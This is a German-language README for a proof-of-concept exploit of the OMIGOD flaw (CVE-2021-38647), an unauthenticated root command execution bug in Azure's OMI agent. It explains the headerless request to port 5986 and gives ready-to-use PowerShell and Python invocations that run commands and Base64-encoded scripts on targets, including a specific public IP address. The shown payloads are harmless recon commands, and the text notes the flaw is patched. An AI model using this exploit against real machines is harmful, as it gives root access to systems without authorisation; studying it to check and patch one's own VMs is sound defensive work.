CVE-2021-38647

CVE-2021-38647 – POC zur Ausnutzung von nicht authentifiziertem RCE #OMIGOD auf Azure UNIX/Linux-VMs!

Details

In Microsofts Azure wird die OMI-Anwendung automatisch installiert, wenn Dienste wie Azure Automation Accounts, Update Management, Log Analytics, Configuration Management usw. für UNIX/Linux-VMs verwendet werden. Die OMI-Anwendung macht den Dienst außerdem über Port 5986 verfügbar, wenn der Configuration Management-Dienst zur Fernverwaltung der Maschine genutzt wird.

Jeder mit Netzwerkzugriff auf einen verwundbaren Endpunkt kann eine Anfrage senden, die den SCXcore-Anbieter ohne den Authorization-Header nutzt, und Betriebssystembefehle auf dem Zielcomputer mit Root-Rechten ausführen!

Diese Sicherheitslücke wurde inzwischen behoben, aber es lohnt sich immer, Linux-VMs in Azure darauf zu überprüfen.

Nutzung

PowerShell

# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==